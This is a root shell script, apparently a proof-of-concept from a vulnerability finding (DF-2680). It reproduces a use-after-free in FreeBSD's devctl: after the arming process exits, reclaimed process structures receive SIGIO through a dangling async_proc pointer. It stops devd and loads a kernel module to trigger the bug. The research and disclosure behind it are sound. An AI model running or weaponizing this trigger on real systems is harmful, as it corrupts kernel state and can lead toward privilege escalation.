#!/bin/sh
# DF-2680 sequence (root).  Requires a devctl event source: build the
# dfrace.ko churn module from findings/poc/DF-2679 first (it attaches and
# detaches 512 devices -> devadded/devremoved -> devctl_queue_data ->
# ksignal(devsoftc.async_proc, SIGIO)).
#
# control: victim2 arms FIOASYNC and STAYS ALIVE (handler installed) ->
#          must receive SIGIO when events fire (proves the path).
# stale:   victim arms FIOASYNC and EXITS; catchers (never open devctl)
#          recycle the freed struct proc; events then deliver SIGIO to
#          an unrelated process through the dangling pointer.
cd "$(dirname "$0")"
EVENTS="${EVENTS:-kldload /tmp/df2679/dfrace.ko; sleep 1; kldunload dfrace}"

/etc/rc.d/devd stop >/dev/null 2>&1 || true
sleep 1

echo "== control (live async_proc) =="
./victim2 &
sleep 1
sh -c "$EVENTS" >/dev/null 2>&1 || true
sleep 2
wait || true

echo "== stale (victim exits, async_proc dangles) =="
rm -f got_sigio.txt
./victim
for i in 1 2 3 4 5 6; do ./catcher >/dev/null 2>&1 & done
sleep 1
sh -c "$EVENTS" >/dev/null 2>&1 || true
sleep 1
echo "-- result:"
cat got_sigio.txt 2>/dev/null || echo "(no catcher recycled the chunk this round)"
pkill catcher 2>/dev/null || true
wait 2>/dev/null || true
/etc/rc.d/devd start >/dev/null 2>&1 || true
echo SEQ_DONE